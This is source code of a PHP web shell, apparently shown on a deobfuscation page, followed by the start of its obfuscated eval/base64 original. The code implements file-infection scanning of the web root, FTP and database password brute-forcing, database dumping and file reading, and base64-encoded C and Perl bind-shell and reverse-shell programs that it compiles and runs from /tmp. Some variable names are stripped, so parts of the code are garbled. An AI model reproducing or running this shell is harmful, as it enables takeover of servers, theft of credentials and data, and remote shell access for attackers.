<style>html{height:100%}html body{width:100%;height:100%;margin:0;font-family:Nunito, sans-serif;}.container{display:block;position:relative;width:100%;height:100%;background:linear-gradient(to bottom,#020107 0,#201b46 100%)}.container .text{color:#fff;position:absolute;top:50%;right:50%;margin:-10px -75px 0 0;font-size:20px;font-family:Nunito, sans-serif;font-weight:700}.shooting-stars{z-index:10;width:5px;height:85px;border-top-left-radius:50%;border-top-right-radius:50%;position:absolute;bottom:0;right:0;background:linear-gradient(to top,rgba(255,255,255,0),#fff);animation:animShootingStar 10s linear infinite}@keyframes animStar{from{transform:translateY(0)}to{transform:translateY(-2560px) translateX(-2560px)}}@keyframes animShootingStar{from{transform:translateY(0) translateX(0) rotate(-45deg);opacity:1;height:5px}to{transform:translateY(-2560px) translateX(-2560px) rotate(-45deg);opacity:1;height:800px}}</style>
<footer id='det' style='position:fixed; left:0px; right:0px; bottom:0px; background:rgb(0,0,0); text-align:center; border-top: 1px solid #ff007e; border-bottom: 1px solid #ff007e'><font face='Century Gothic' color='#ff0048' size='5'><font style='font-size: 10pt' face='Century Gothic'><font face='Tahoma' color='#005aff' size='2.5'><font color='#ff007e'><b> opyight : </b></font>
<marquee scrollamount='3' scrolldelay='60' width='80%'><b>Twepl & <a href='https://github.com/mIcHyAmRaNe'>mIcHy</a> </b></marquee>  </font></font></font></footer>");
}
function actionSelfRemove() {
	if($_POST['p1'] == 'yes')
		if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
			die('Shell has been removed');
		else
			echo 'unlink error!';
    if($_POST['p1'] != 'yes')
        hardHeader();
	echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
	hardFooter();
}
function actionInfect() {
	hardHeader();
	echo '<h1>Infect</h1><div class=content>';
	if($_POST['p1'] == 'infect') {
		$target=$_SERVER['DOCUMENT_ROOT'];
			function ListFiles($dir) {
				if($dh = opendir($dir)) {
					$files = Array();
					$inner_files = Array();
					while($file = readdir($dh)) {
						if($file != "." && $file != "..") {
							if(is_dir($dir . "/" . $file)) {
								$inner_files = ListFiles($dir . "/" . $file);
								if(is_array($inner_files)) $files = array_merge($files, $inner_files);
							} else {
								array_push($files, $dir . "/" . $file);
							}
						}
					}
					closedir($dh);
					return $files;
				}
			}
			foreach (ListFiles($target) as $key=>$file){
				$nFile = substr($file, -4, 4);
				if($nFile == ".php" ){
					if(($file<>$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'])&&(is_writeable($file))){
						echo "$file<br>";
						$i++;
					}
				}
			}
			echo "<font color=#a10705 size=14>$i</font>";
		}else{
			echo "<form method=post><input type=submit value=Infect name=infet></form>";
			echo 'Really want to infect the server?&nbsp;<a href=# onclick="g(null,null,\'infect\')">Yes</a></div>';
		}
	hardFooter();
}
function actionBruteforce() {
	hardHeader();
	if( isset($_POST['proto']) ) {
		echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
		if( $_POST['proto'] == 'ftp' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$fp = @ftp_connect($ip, $port?$port:21);
				if(!$fp) return false;
				$res = @ftp_login($fp, $login, $pass);
				@ftp_close($fp);
				return $res;
			}
		} elseif( $_POST['proto'] == 'mysql' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
				@mysql_close($res);
				return $res;
			}
		} elseif( $_POST['proto'] == 'pgsql' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
				$res = @pg_connect($str);
				@pg_close($res);
				return $res;
			}
		}
		$success = 0;
		$attempts = 0;
		$server = explode(":", $_POST['server']);
		if($_POST['type'] == 1) {
			$temp = @file('/etc/passwd');
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = explode(":", $line);
					++$attempts;
					if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
						$success++;
						echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
					}
					if(@$_POST['reverse']) {
						$tmp = "";
						for($i=strlen($line[0])-1; $i>=0; --$i)
							$tmp .= $line[0][$i];
						++$attempts;
						if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
							$success++;
							echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
						}
					}
				}
		} elseif($_POST['type'] == 2) {
			$temp = @file($_POST['dict']);
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = trim($line);
					++$attempts;
					if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
						$success++;
						echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
					}
				}
		}
		echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
	}
	echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
		.'<td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td>'
		.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
		.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
		.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
		.'<input type=hidden name=ne  value="">'
		.'<span>Server:port</span></td>'
		.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
		.'<tr><td><span>Brute type</span></td>'
		.'<td><input type=radio name=type value="1" checked> /etc/passwd</td></tr>'
		.'<tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>'
		.'<tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr>'
		.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
		.'<td><input type=text name=login value="root"></td></tr>'
		.'<tr><td><span>Dictionary</span></td>'
		.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
		.'</td></tr><tr><td></td><td><input type=submit value="submit"></td></tr></form></table>';
	echo '</div>';
	hardFooter();
}
function actionSql() {
	class DbClass {
		var $type;
		var $link;
		var $res;
		function __construct($type)	{
			$this->type = $type;
		}
		function connect($host, $user, $pass, $dbname){
			switch($this->type)	{
				case 'mysql':
					if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
					break;
				case 'pgsql':
					$host = explode(':', $host);
					if(!$host[1]) $host[1]=5432;
					if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
					break;
			}
			return false;
		}
		function selectdb($db) {
			switch($this->type)	{
				case 'mysql':
					if (@mysql_select_db($db))return true;
					break;
			}
			return false;
		}
		function query($str) {
			switch($this->type) {
				case 'mysql':
					return $this->res = @mysql_query($str);
					break;
				case 'pgsql':
					return $this->res = @pg_query($this->link,$str);
					break;
			}
			return false;
		}
		function fetch() {
			$res = func_num_args()?func_get_arg(0):$this->res;
			switch($this->type)	{
				case 'mysql':
					return @mysql_fetch_assoc($res);
					break;
				case 'pgsql':
					return @pg_fetch_assoc($res);
					break;
			}
			return false;
		}
		function listDbs() {
			switch($this->type)	{
				case 'mysql':
                        return $this->query("SHOW databases");
				break;
				case 'pgsql':
					return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
				break;
			}
			return false;
		}
		function listTables() {
			switch($this->type)	{
				case 'mysql':
					return $this->res = $this->query('SHOW TABLES');
				break;
				case 'pgsql':
					return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
				break;
			}
			return false;
		}
		function error() {
			switch($this->type)	{
				case 'mysql':
					return @mysql_error();
				break;
				case 'pgsql':
					return @pg_last_error();
				break;
			}
			return false;
		}
		function setCharset($str) {
			switch($this->type)	{
				case 'mysql':
					if(function_exists('mysql_set_charset'))
						return @mysql_set_charset($str, $this->link);
					else
						$this->query('SET CHARSET '.$str);
					break;
				case 'pgsql':
					return @pg_set_client_encoding($this->link, $str);
					break;
			}
			return false;
		}
		function loadFile($str) {
			switch($this->type)	{
				case 'mysql':
					return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
				break;
				case 'pgsql':
					$this->query("CREATE TABLE hard2(file text);COPY hard2 FROM '".addslashes($str)."';select file from hard2;");
					$r=array();
					while($i=$this->fetch())
						$r[] = $i['file'];
					$this->query('drop table hard2');
					return array('file'=>implode("
",$r));
				break;
			}
			return false;
		}
		function dump($table, $fp = false) {
			switch($this->type)	{
				case 'mysql':
					$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
					$create = mysql_fetch_array($res);
					$sql = $create[1].";
";
                    if($fp) fwrite($fp, $sql); else echo($sql);
					$this->query('SELECT * FROM `'.$table.'`');
                    $i = 0;
                    $head = true;
					while($ = $this->fetch()) {
                        $sql = '';
                        if($i % 1000 == 0) {
                            $head = true;
                            $sql = ";

";
                        }
						$columns = array();
						foreach($ as $k=>$v) {
                            if($v === null)
                                $[$k] = "NULL";
                            elseif(is_int($v))
                                $[$k] = $v;
                            else
                                $[$k] = "'".@mysql_real_escape_string($v)."'";
							$columns[] = "`".$k."`";
						}
                        if($head) {
                            $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES 
	(".implode(", ", $).')';
                            $head = false;
                        } else
                            $sql .= "
	,(".implode(", ", $).')';
                        if($fp) fwrite($fp, $sql); else echo($sql);
                        $i++;
					}
                    if(!$head)
                        if($fp) fwrite($fp, ";

"); else echo(";

");
				break;
				case 'pgsql':
					$this->query('SELECT * FROM '.$table);
					while($ = $this->fetch()) {
						$columns = array();
						foreach($ as $k=>$v) {
							$[$k] = "'".addslashes($v)."'";
							$columns[] = $k;
						}
                        $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $).');'."
";
                        if($fp) fwrite($fp, $sql); else echo($sql);
					}
				break;
			}
			return false;
		}
	};
	$db = new DbClass($_POST['type']);
	if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
		$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
		$db->selectdb($_POST['sql_base']);
        switch($_POST['charset']) {
            case "Windows-1251": $db->setCharset('cp1251'); break;
            case "UTF-8": $db->setCharset('utf8'); break;
            case "KOI8-R": $db->setCharset('koi8r'); break;
            case "KOI8-U": $db->setCharset('koi8u'); break;
            case "cp866": $db->setCharset('cp866'); break;
        }
        if(empty($_POST['file'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=dump.sql");
            header("Content-Type: text/plain");
            foreach($_POST['tbl'] as $v)
				$db->dump($v);
            exit;
        } elseif($fp = @fopen($_POST['file'], 'w')) {
            foreach($_POST['tbl'] as $v)
                $db->dump($v, $fp);
            fclose($fp);
            unset($_POST['p2']);
        } else
            die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
	}
	hardHeader();
	echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=ne value=''><input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><label><select name='type'><option value='mysql' ";
    if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></label></td>
<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\" required></td><td>";
	$tmp = "<input type=text name=sql_base value=''>";
	if(isset($_POST['sql_host'])){
		if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
			switch($_POST['charset']) {
				case "Windows-1251": $db->setCharset('cp1251'); break;
				case "UTF-8": $db->setCharset('utf8'); break;
				case "KOI8-R": $db->setCharset('koi8r'); break;
				case "KOI8-U": $db->setCharset('koi8u'); break;
				case "cp866": $db->setCharset('cp866'); break;
			}
			$db->listDbs();
			echo "<label><select name=sql_base><option value=''></option>";
			while($ = $db->fetch()) {
				list($key, $value) = each($);
				echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
			}
			echo '</select></label>';
		}
		else echo $tmp;
	}else
		echo $tmp;
	echo "</td>
				<td><input type=submit value='submit' onclick='fs(d.sf);'></td>
                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
			</tr>
		</table>
		<script>
            s_db='".@addslashes($_POST['sql_base'])."';
            function fs(f) {
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                    if(f.p1) f.p1.value='';
                    if(f.p2) f.p2.value='';
                    if(f.p3) f.p3.value='';
                }
            }
			function st(t,l) {
				d.sf.p1.value = 'select';
				d.sf.p2.value = t;
                if(l && d.sf.p3) d.sf.p3.value = l;
				d.sf.submit();
			}
			function is() {
				for(i=0;i<d.sf.elements['tbl[]'].length;++i)
					d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
			}
		</script>";
	if(isset($db) && $db->link){
		echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
			if(!empty($_POST['sql_base'])){
				$db->selectdb($_POST['sql_base']);
				echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
				$tbls_res = $db->listTables();
				while($ = $db->fetch($tbls_res)) {
					list($key, $value) = each($);
                    if(!empty($_POST['sql_count']))
                        $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
					$value = htmlspecialchars($value);
					echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
				}
				echo "<input type='checkbox' onclick='is();'> <input type=submit value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
				if(@$_POST['p1'] == 'select') {
					$_POST['p1'] = 'query';
                    $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
					$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
					$num = $db->fetch();
					$pages = ceil($num['n'] / 30);
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
                    echo " of $pages";
                    if($_POST['p3'] > 1)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
                    if($_POST['p3'] < $pages)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
                    $_POST['p3']--;
					if($_POST['type']=='pgsql')
						$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
					else
						$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
					echo "<br><br>";
				}
				if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
					$db->query(@$_POST['p2']);
					if($db->res !== false) {
						$title = false;
						echo '<table width=100% cellspacing=1 cellpadding=2 class=main>';
						$line = 1;
						while($ = $db->fetch())	{
							if(!$title)	{
								echo '<tr>';
								foreach($ as $key => $value)
									echo '<th>'.$key.'</th>';
								reset($);
								$title=true;
								echo '</tr><tr>';
								$line = 2;
							}
							echo '<tr class="l'.$line.'">';
							$line = $line==1?2:1;
							foreach($ as $key => $value) {
								if($value == null)
									echo '<td><i>null</i></td>';
								else
									echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
							}
							echo '</tr>';
						}
						echo '</table>';
					} else {
						echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
					}
				}
				echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
                    echo htmlspecialchars($_POST['p2']);
                echo "</textarea><br/><input type=submit value='Execute'>";
				echo "</td></tr>";
			}
			echo "</table></form><br/>";
            if($_POST['type']=='mysql') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                if($db->fetch())
                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='submit'></form>";
            }
			if(@$_POST['p1'] == 'loadfile') {
				$file = $db->loadFile($_POST['p2']);
				echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
			}
	} else {
        echo htmlspecialchars($db->error());
    }
	echo '</div>';
	hardFooter();
}
function actionNetwork() {
	hardHeader();
	$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
	$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
	$bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
	$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
	echo "<h1>Network tools</h1><div class=content>
	<form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'>
	<span>Bind port to /bin/sh</span><br/>
	Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpc'>C</option><option value='bpp'>Perl</option></select></label> <input type=submit value='submit'>
	</form>
	<form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>
	<span>Back-connect to</span><br/>
	Server: <input type='text' name='server' value=". $_SERVER['REMOTE_ADDR'] ."> Port: <input type='text' name='port' value='31337'> Using: <label><select name='using'><option value='bcc'>C</option><option value='bcp'>Perl</option></select></label> <input type=submit value='submit'>
	</form><br>";
	if(isset($_POST['p1'])) {
		function cf($f,$t) {
			$w=@fopen($f,"w") or @function_exists('file_put_contents');
			if($w)	{
				@fwrite($w,base64_decode($t)) or @fputs($w,base64_decode($t)) or @file_put_contents($f,base64_decode($t));
				@fclose($w);
			}
		}
		if($_POST['p1'] == 'bpc') {
			cf("/tmp/bp.c",$bind_port_c);
			$ = ex("gcc -o /tmp/bp /tmp/bp.c");
			@unlink("/tmp/bp.c");
			$ .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
			echo "<pre class=ml1>$".ex("ps aux | grep bp")."</pre>";
		}
		if($_POST['p1'] == 'bpp') {
			cf("/tmp/bp.pl",$bind_port_p);
			$ = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
			echo "<pre class=ml1>$".ex("ps aux | grep bp.pl")."</pre>";
		}
		if($_POST['p1'] == 'bcc') {
			cf("/tmp/bc.c",$back_connect_c);
			$ = ex("gcc -o /tmp/bc /tmp/bc.c");
			@unlink("/tmp/bc.c");
			$ .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
			echo "<pre class=ml1>$".ex("ps aux | grep bc")."</pre>";
		}
		if($_POST['p1'] == 'bcp') {
			cf("/tmp/bc.pl",$back_connect_p);
			$ = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
			echo "<pre class=ml1>$".ex("ps aux | grep bc.pl")."</pre>";
		}
	}
	echo '</div>';
	hardFooter();
}
if( empty($_POST['a']) )
	if(isset($) && function_exists('action' . $))
		$_POST['a'] = $;
	else
		$_POST['a'] = 'FilesMan';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
	call_user_func('action' . $_POST['a']);

Did this file decode correctly?

Original Code

<?php
eval(str_rot13(gzinflate(str_rot13(base64_decode('LH3FkuVZ0uzTjN1Mim4pPG/mzTUxM+vpf6ltzD7o6jqlkjIzPNw9IkZYPdz/3fojXu+hXP47DsWCIf9/XqZxXv6bD1qV3//74v/JPuxBTJnZl7KmECF3sDdcZMQf5i/1ntn6XeR/IHtv3//gvdsK5dH/B9LrkazDqeKPjlbf7wDPr+SN5v3T+z3VJosqXLE0aWRzjQzYrnd8/a1RCprR2P8gBXdwkqR+lq+D3fsDwXe8/2i8ZtczM228kj3yk8oB5Fk3V1YmxnnXwggAy6BwYbCJuXQj1OUV1bNFlMBtJo/RsWh2beycqRl29mq7DzGgsHSiZjg04mBPLoe3cWHGsYhtEmiYrr9hO6BfwNS+ai2IMS4bLfb98ZB/ibG5vO6xJ/24DPlRZIoJXV1Pw3qz1dTJi8UJ7x1KHt/YhVZDgAMu79eu9Xsv8ISMfMT3+2irvV+WbxPzglnSMWuXtKJD49Qd+lPMFOfnS5kWHc0UAQ++Hx31Rs0mSb9hGPe6wiLbSJ54r5Lf74nW5Etjb49F5RhOGmf4U+jzOp9D2nckf1PASUPh8HiORmdSo0WdIIbee8CvIJPIrYA2kKqTVGxvKHToH4iusyah0a0AOWhT8PtWWzRlN+GrjNJmJjMb6VxXL59tLJt3NfcXX3d0FLHFB2B+Mp7dyOJASG3w6BiRZhb3p9FI1HunC2QV2SRrtI1E9Vb7TVP4eVnYahK9v+UXqNW3b+D63o8Dtcg4PyjTJ/ObZZYL2cTxstOg4Htm3aFl9etGhwUNLZKSA58JqeL3Gr0Lmf1oBoe2GW3E+KfIPJm8sN/aA11CsJBcJcdHh0ruTuPs/XhHwbf3f34Wwx01CpdogbD33gUPZpGqDAC4fus7e46QdHLjc5SGnwV8CNKW0pR2D6psprKDid4FoltjpVe9BrialkkwxEvNSXnZIvMNma8+YQHLPWlcNmPQskc/Mi0RaaHmuEh2IpMDX7KOhwZbhLQogKPaap3YbCN1IjFbguURbe+/vyONQQv4SdSAMqfhL+X3l/aeLuqJ+L9vn+SwiIdUYU3CFBd60t0IG0oa925kt30KA+Qf61XFxq7vOrWrXWOogoKZ1PtJrQULowkSe8x7HSAh5zWYybfE4mUejfV+hDWmOA+rbqwxuTbp4bYhw3JNpQC8yNgTe4+h0ZatZWnPLLXmTx0h4ccQX/CoTfUNchskTMzOaE4YhrLiG9wuCXcz1R500VkRSDURMHPw1zaYUQrP5InWXVwLDbh4KMsE0KqEolCj9F/yA34zFKqe6a618yQhkgkRUfFTeBjXFsmcyEiNndW5OMRc6eDgDBs6+OHVRE1kwa9Hk7AdSJW+bVXv37ajDNrWH1fZSiunaaNwjibrTNhioSkCNkSxoSPeBsfy7btg7IQqCZGWriw7ld8FMePyK+8tORGH9/WcgB1xLed61XTrZI7vqq19LiknqcVxqmRZe8S3YPaQTJbCqyE7JHKqA/1oPVo1bjzr8vFkN/wN+/3Ou1yaXs6/CE/ZL0fI1fNEC8Yw/f3iBK6wvSBfGp2EY0ETj57zN3POLn4PlkJo6aachQyGO3uB5oKh8VIZlGf8+8N782vDIIR8gPDhmpsoucIAQBSPwLUkSzhuwJMHAWhna4v2t1MGH90B2H9DL1hAGfie7Ie1v/2s+PP9aW6W85pMnW0/70rZTWxIo3On5URCZ7zxA4En3AtZhPfh